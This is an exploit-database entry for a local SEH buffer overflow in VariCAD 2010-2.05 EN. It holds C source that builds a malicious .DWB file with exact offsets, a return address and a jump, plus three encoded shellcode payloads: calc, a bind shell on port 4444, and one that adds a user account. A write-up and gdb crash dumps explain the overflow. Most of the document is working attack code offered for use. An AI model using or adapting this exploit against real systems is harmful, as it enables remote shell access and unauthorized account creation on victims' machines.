VariCAD 2010-2.05 EN - Local Buffer Overflow

EDB-ID:

11789

CVE:



Author:

n00b

Type:

local


Platform:

Multiple

Date:

2010-03-17


/*
# Exploit Title: VariCAD 2010-2.05 EN Local buffer overflow :)
# Date: 15 March 2010 
# Author: n00b  Realname: *carl cope*
# Software Link: http://www.varicad.com/en/home/
# Version: All versions are affected.
# Tested on: Windows xp sp3,Vista sp2,Linux unbuntu
# CVE : [if exists] 

-----------------------------------------------------------
- 0day VariCAD 2010-2.05 EN .Dwb file Local buffer overflow -
-----------------------------------------------------------
-Description- 
VariCAD is prone to a memcpy() over flow in the  
parsing of 4 byte value that is loaded into the  
ebx register.!! 
 
VariCAD-Viewer is also vulnerable to this attack although 
exploitation is harder due to the Varicad viewer being compiled 
with exception handler protection.Although the VarCAD 2010-2.05 
Binary was not. 
 
First of all it was just another Read Av and after a wile of  
playing with different values i was able to over write the 
exception handlers.But the exception handlers was overwrote 
with a value i could not find :(.The value was not in the file 
at all.So i decided to fill the file with a load of random chars 
to find out where the exception handlers had triggered. I was still 
in no luck.Then i remembered awhile ago i had the same kind of issue 
with the lfs2 exploits.The problem is that the file i was using as a 
test was not big enough.The data was just not there to overwrite the 
exception handlers with user supplied data and eventually after 26k 
of characters was finally able to find the offsets i needed to exploit 
this vulnerability. 
 
The value that was loaded into the $EBX register was supplied by the 
offsets inside the file that was manipulated by user supplied data.
At this point i knew it would be exploitable.So if you change these 
4byte values (0x25,0x5c,0x1f,0x85)it wont work. 
 
to exploit the application open VariCAD 2010-2.05 EN  
then go to | File --> Open --> Then chose the malicious dwb file. 
-Description- 


-Note-
Just a side note this exploit is universal because the address of the 
instruction used resides in the exacutable.This has only one down fall 
you cant just double click the malicious .DWB file and execute our 
shell code that application must be running first.Although we can overcome 
this problem by using a different address and buffer but im running out of 
time on this exploit.So ill leave that up to your discretion.

Below is a description to getting this to execute via file extension or right 
click on file and edit with VariCAD.

----------------------------------------------------------------------------
 22856 bytes --> pointer to next seh --> SE handler --> nop --> shell code.
----------------------------------------------------------------------------
-Note-

-Linux-
The linux version is also exploitable this can be seen in the debug 
information provided below although our Value_$EBX is loaded into 
the $eax register.

(gdb) info reg
eax            0x851f5c25       -2061542363
ecx            0x21476584       558327172
edx            0xbfbcb9ec       -1078150676
ebx            0x41414141       1094795585
esp            0xbfbcbc10       0xbfbcbc10
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb71a7940 (LWP 11236)]
0xb75da52f in memcpy () from /lib/libc.so.6
(gdb) bt
#0  0xb75da52f in memcpy () from /lib/libc.so.6
#1  0x08ab2ab2 in ?? ()
#2  0x08ab5bfe in ?? ()
-Linux-

-Shouts and thanks-
Str0ke : Big thanks good work over the years:)
fl0 fl0w: Keep up the good work dood looking good.
aluigi: Nice guy has time for others.
marsu :Got me started with exploitation.
vade79 :Nice guy helped me a few times.

Offensive Security.
Nice job guys looking good and looking forward to
publishing more exploits on your site.

----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
 
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

*/

#include <stdio.h>
#include <windows.h>
#define VariCAD "n00b.DWB"
 

/*
These are the first few bytes of the header
from DWB file :)
*/

unsigned char First_Header[] =

{
"\x34\x87\x01\x00\x00\x00\x00"
};


/*
Dont change these values these are set for a reason
 <TODO>
========================================================
- Windows debug information -
---------------------------
EAX 8F0D5C79
ECX 21479397
EDX 00000001
EBX 851F5C25 <---Here is our 4 byte value loaded into $EBX reg :)
ESP 0011F1F4
EBP 0011F1FC
ESI 09EF0E1C
EDI 00130000 ASCII "Actx "  <-- <write av>
EIP 0136E2EA varicad-.0136E2EA
=========================================================
*/

unsigned char Value_$EBX [] =
 
{
0x25, 0x5c, 0x1f, 0x85 
};


/* win32_exec -  EXITFUNC=seh CMD=calc Size=330
   Encoder=Alpha2 http://metasploit.com */
   
unsigned char Calc_Shell_Code []=
{
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x48"
    "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x65"
    "\x58\x50\x30\x42\x31\x42\x41\x6b\x41\x41\x75\x32\x41\x42\x41\x32"
    "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x5a\x49\x4b\x4c\x4a"
    "\x48\x51\x54\x55\x50\x77\x70\x63\x30\x6c\x4b\x43\x75\x35\x6c\x4c"
    "\x4b\x41\x6c\x35\x55\x53\x48\x63\x31\x68\x6f\x4c\x4b\x70\x4f\x46"
    "\x78\x4e\x6b\x53\x6f\x75\x70\x36\x61\x6a\x4b\x53\x79\x4c\x4b\x55"
    "\x64\x4e\x6b\x74\x41\x68\x6e\x75\x61\x4b\x70\x4d\x49\x4c\x6c\x4c"
    "\x44\x6b\x70\x42\x54\x35\x57\x78\x41\x6b\x7a\x76\x6d\x63\x31\x58"
    "\x42\x68\x6b\x7a\x54\x77\x4b\x70\x54\x55\x74\x75\x54\x32\x55\x6a"
    "\x45\x6e\x6b\x31\x4f\x76\x44\x67\x71\x48\x6b\x70\x66\x6c\x4b\x76"
    "\x6c\x70\x4b\x4c\x4b\x73\x6f\x75\x4c\x55\x51\x7a\x4b\x4e\x6b\x45"
    "\x4c\x6c\x4b\x46\x61\x5a\x4b\x4f\x79\x61\x4c\x57\x54\x45\x54\x49"
    "\x53\x76\x51\x49\x50\x62\x44\x4e\x6b\x53\x70\x30\x30\x4b\x35\x4b"
    "\x70\x32\x58\x46\x6c\x6c\x4b\x61\x50\x64\x4c\x4c\x4b\x50\x70\x55"
    "\x4c\x4e\x4d\x4e\x6b\x43\x58\x76\x68\x48\x6b\x56\x69\x4c\x4b\x6d"
    "\x50\x6c\x70\x55\x50\x35\x50\x63\x30\x6c\x4b\x45\x38\x67\x4c\x31"
    "\x4f\x74\x71\x39\x66\x53\x50\x63\x66\x4c\x49\x4b\x48\x4c\x43\x4f"
    "\x30\x61\x6b\x50\x50\x55\x38\x6a\x50\x6c\x4a\x43\x34\x63\x6f\x55"
    "\x38\x6f\x68\x6b\x4e\x4c\x4a\x54\x4e\x53\x67\x79\x6f\x4d\x37\x51"
    "\x73\x72\x41\x50\x6c\x42\x43\x47\x70\x65"
};


/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=696
   Encoder=Alpha2 http://metasploit.com */
 
unsigned char Bind_Shell_Code [] =
{
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x37\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x69"
    "\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x79\x32\x42\x42\x32\x41\x42"
    "\x42\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4d\x39\x39\x6c\x31"
    "\x7a\x4a\x4b\x72\x6d\x59\x78\x78\x79\x59\x6f\x49\x6f\x79\x6f\x45"
    "\x30\x4c\x4b\x70\x6c\x61\x34\x34\x64\x6c\x4b\x71\x55\x77\x4c\x4c"
    "\x4b\x63\x4c\x43\x35\x41\x68\x56\x61\x68\x6f\x4e\x6b\x70\x4f\x56"
    "\x78\x6e\x6b\x51\x4f\x65\x70\x77\x71\x5a\x4b\x31\x59\x6e\x6b\x47"
    "\x44\x6e\x6b\x45\x51\x6a\x4e\x75\x61\x6b\x70\x6c\x59\x6e\x4c\x4d"
    "\x54\x4f\x30\x31\x64\x54\x47\x59\x51\x39\x5a\x46\x6d\x77\x71\x39"
    "\x52\x78\x6b\x6b\x44\x57\x4b\x73\x64\x51\x34\x71\x38\x30\x75\x6d"
    "\x35\x6c\x4b\x71\x4f\x74\x64\x73\x31\x78\x6b\x51\x76\x4c\x4b\x74"
    "\x4c\x70\x4b\x4e\x6b\x51\x4f\x77\x6c\x36\x61\x4a\x4b\x43\x33\x56"
    "\x4c\x4e\x6b\x4c\x49\x30\x6c\x47\x54\x45\x4c\x31\x71\x78\x43\x30"
    "\x31\x4b\x6b\x50\x64\x6c\x4b\x50\x43\x70\x30\x4e\x6b\x57\x30\x34"
    "\x4c\x4e\x6b\x32\x50\x55\x4c\x6c\x6d\x4e\x6b\x41\x50\x63\x38\x61"
    "\x4e\x55\x38\x4e\x6e\x50\x4e\x66\x6e\x4a\x4c\x50\x50\x49\x6f\x6e"
    "\x36\x52\x46\x36\x33\x70\x66\x30\x68\x44\x73\x65\x62\x30\x68\x44"
    "\x37\x73\x43\x35\x62\x31\x4f\x71\x44\x4b\x4f\x38\x50\x45\x38\x5a"
    "\x6b\x78\x6d\x6b\x4c\x75\x6b\x56\x30\x79\x6f\x6b\x66\x61\x4f\x4f"
    "\x79\x6b\x55\x43\x56\x4c\x41\x7a\x4d\x37\x78\x35\x52\x66\x35\x50"
    "\x6a\x34\x42\x79\x6f\x58\x50\x41\x78\x78\x59\x67\x79\x4c\x35\x6e"
    "\x4d\x73\x67\x79\x6f\x4e\x36\x50\x53\x46\x33\x76\x33\x42\x73\x51"
    "\x43\x53\x73\x70\x53\x77\x33\x56\x33\x6b\x4f\x78\x50\x65\x36\x43"
    "\x58\x66\x71\x31\x4c\x73\x56\x33\x63\x6c\x49\x59\x71\x7a\x35\x30"
    "\x68\x4e\x44\x36\x7a\x62\x50\x39\x57\x76\x37\x6b\x4f\x6b\x66\x43"
    "\x5a\x32\x30\x72\x71\x32\x75\x39\x6f\x58\x50\x30\x68\x39\x34\x4e"
    "\x4d\x66\x4e\x4a\x49\x51\x47\x4b\x4f\x49\x46\x66\x33\x62\x75\x79"
    "\x6f\x4a\x70\x62\x48\x4d\x35\x33\x79\x6b\x36\x71\x59\x66\x37\x4b"
    "\x4f\x5a\x76\x76\x30\x50\x54\x70\x54\x70\x55\x4b\x4f\x6e\x30\x4a"
    "\x33\x30\x68\x4b\x57\x43\x49\x38\x46\x74\x39\x63\x67\x6b\x4f\x58"
    "\x56\x61\x45\x4b\x4f\x6e\x30\x51\x76\x41\x7a\x65\x34\x42\x46\x31"
    "\x78\x30\x63\x62\x4d\x6f\x79\x6b\x55\x33\x5a\x36\x30\x56\x39\x31"
    "\x39\x48\x4c\x4f\x79\x6d\x37\x73\x5a\x33\x74\x6b\x39\x6d\x32\x67"
    "\x41\x59\x50\x6c\x33\x6c\x6a\x79\x6e\x33\x72\x54\x6d\x49\x6e\x70"
    "\x42\x34\x6c\x6e\x73\x6c\x4d\x30\x7a\x34\x78\x4c\x6b\x4c\x6b\x4c"
    "\x6b\x42\x48\x50\x72\x39\x6e\x6d\x63\x52\x36\x49\x6f\x61\x65\x50"
    "\x44\x49\x6f\x7a\x76\x63\x6b\x71\x47\x31\x42\x73\x61\x51\x41\x66"
    "\x31\x30\x6a\x44\x41\x31\x41\x63\x61\x71\x45\x32\x71\x59\x6f\x6e"
    "\x30\x70\x68\x4c\x6d\x6e\x39\x53\x35\x7a\x6e\x41\x43\x49\x6f\x79"
    "\x46\x52\x4a\x6b\x4f\x6b\x4f\x65\x67\x4b\x4f\x7a\x70\x6e\x6b\x30"
    "\x57\x59\x6c\x6d\x53\x6a\x64\x50\x64\x39\x6f\x5a\x76\x52\x72\x39"
    "\x6f\x5a\x70\x50\x68\x58\x70\x6f\x7a\x54\x44\x63\x6f\x52\x73\x4b"
    "\x4f\x6a\x76\x49\x6f\x4e\x30\x69"
};

/* win32_adduser -  PASS=n00b EXITFUNC=seh USER=n00b Size=476
   Encoder=Alpha2 http://metasploit.com */
 
unsigned char Add_User_Shell_Code []=
{
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x51\x5a\x6a\x67"
    "\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x77\x32\x41\x42\x41\x32"
    "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x6d\x39\x69\x6c\x7a"
    "\x48\x73\x74\x35\x50\x75\x50\x35\x50\x6c\x4b\x41\x55\x75\x6c\x4c"
    "\x4b\x41\x6c\x57\x75\x34\x38\x73\x31\x38\x6f\x6e\x6b\x42\x6f\x52"
    "\x38\x4c\x4b\x43\x6f\x57\x50\x33\x31\x38\x6b\x42\x69\x6e\x6b\x64"
    "\x74\x4c\x4b\x43\x31\x5a\x4e\x64\x71\x39\x50\x6d\x49\x4e\x4c\x4c"
    "\x44\x4f\x30\x50\x74\x77\x77\x59\x51\x48\x4a\x34\x4d\x44\x41\x68"
    "\x42\x4a\x4b\x49\x64\x57\x4b\x76\x34\x37\x54\x35\x54\x62\x55\x5a"
    "\x45\x6e\x6b\x41\x4f\x51\x34\x63\x31\x58\x6b\x73\x56\x6c\x4b\x66"
    "\x6c\x62\x6b\x4e\x6b\x33\x6f\x55\x4c\x44\x41\x38\x6b\x6c\x4b\x47"
    "\x6c\x6c\x4b\x44\x41\x48\x6b\x6b\x39\x51\x4c\x45\x74\x33\x34\x4f"
    "\x33\x46\x51\x4b\x70\x51\x74\x4e\x6b\x73\x70\x70\x30\x4e\x65\x4f"
    "\x30\x54\x38\x44\x4c\x4e\x6b\x51\x50\x66\x6c\x6e\x6b\x30\x70\x75"
    "\x4c\x6e\x4d\x4c\x4b\x30\x68\x43\x38\x38\x6b\x47\x79\x4e\x6b\x4f"
    "\x70\x58\x30\x77\x70\x57\x70\x37\x70\x4e\x6b\x70\x68\x65\x6c\x61"
    "\x4f\x35\x61\x59\x66\x31\x70\x61\x46\x6b\x39\x39\x68\x6c\x43\x6f"
    "\x30\x43\x4b\x72\x70\x71\x78\x58\x70\x6e\x6a\x55\x54\x73\x6f\x50"
    "\x68\x4e\x78\x4b\x4e\x6e\x6a\x44\x4e\x50\x57\x59\x6f\x6d\x37\x33"
    "\x53\x30\x6d\x70\x64\x56\x4e\x31\x75\x71\x68\x71\x75\x65\x70\x46"
    "\x4f\x53\x53\x55\x70\x52\x4e\x53\x55\x41\x64\x31\x30\x71\x65\x52"
    "\x53\x75\x35\x44\x32\x35\x70\x30\x6e\x36\x50\x70\x30\x30\x62\x45"
    "\x70\x42\x4e\x64\x70\x64\x70\x30\x62\x77\x50\x76\x4f\x33\x71\x32"
    "\x64\x42\x64\x51\x30\x61\x36\x37\x56\x57\x50\x70\x6e\x41\x75\x64"
    "\x34\x65\x70\x42\x4c\x32\x4f\x53\x53\x71\x71\x50\x6c\x41\x77\x42"
    "\x52\x30\x6f\x30\x75\x30\x70\x75\x70\x57\x31\x63\x54\x70\x6d\x41"
    "\x79\x30\x6e\x45\x39\x64\x33\x63\x44\x52\x52\x51\x71\x50\x74\x32"
    "\x4f\x70\x72\x53\x43\x35\x70\x52\x4e\x30\x30\x50\x30\x75\x32\x55"
    "\x70\x36\x4f\x50\x41\x30\x44\x43\x74\x77\x70\x67"
};




unsigned char Buffer ='A';
char *Jmp =    "\xeb\x06\x90\x90";


/*
This address is universal and was found within the 
VariCAD-2010-2.05-EN.exe.There are no dlls loaded 
that come VariCAD so finding a suitable instructions  
wasn't so easy :). 
The executable is not compiled with safe seh.
====================================================
00401425   5E               POP ESI
00401426   83C4 10          ADD ESP,10
00401429   C3               RETN
*/

char *address = "\x25\x14\x40\x00";

char Banner [] =
{
    "-------------------------------------------------\n"
    "*************************************************\n"
    "*              VariCAD 2010-2.05 EN             *\n"
    "*************************************************\n"
    "*             BIG SHOUTS TO str0ke!!!           *\n"
    "*               Long live milw0rm               *\n"
    "*************************************************\n"
    "*                      n00b!!                   *\n"
    "*            Release Date :17th March 2010.     *\n"
    "*************************************************\n"
    "*  -------------------------------------------  *\n"
    "-------------------------------------------------\n"
    "exploit created by n00b!!\n"
    "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
    "[1]. Calc Shell_Code\n"
    "[2]. Bind Shell_Code on port 4444\n"
    "[3]. Add user Shell_Code\n"
    "[4]. To exit and cancel\n"
    "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
    "Please chose your Shell_Code:\n"
 
};


int main()
{
    
    int i,Cmd;
    int Close_File;
    
    /*Create file pointer*/
    FILE *fp; 
    
    if ((fp = fopen(VariCAD, "wb")) == NULL)
    {
        printf("File %s write error\n", VariCAD);
        return(0);
    }
    

    for (i=0; i<sizeof(First_Header); i++)  
            fputc(First_Header[i], fp);
    for (i=0; i<sizeof(Value_$EBX); i++)  /*Dont change the values :)*/
            fputc(Value_$EBX[i], fp);
    for (i=0;i<26252;i++)
            fwrite(&Buffer,1,1,fp);   
    for (i=0; i<sizeof(Jmp); i++)
            fputc(Jmp[i], fp);
    for (i=0; i<sizeof(address); i++)
            fputc(address[i], fp);
    
    printf("%s ", Banner);
    scanf( "%d", &Cmd );
    switch ( Cmd )
    {
    case 1:
        fputs(Calc_Shell_Code,fp);
        break;
    case 2:
        fputs(Bind_Shell_Code,fp);
        break;
    case 3:
        fputs(Add_User_Shell_Code,fp);
        break;
    case 4:
        return(1);
        break;
    }
    Close_File = fclose (fp);
    return(0);
}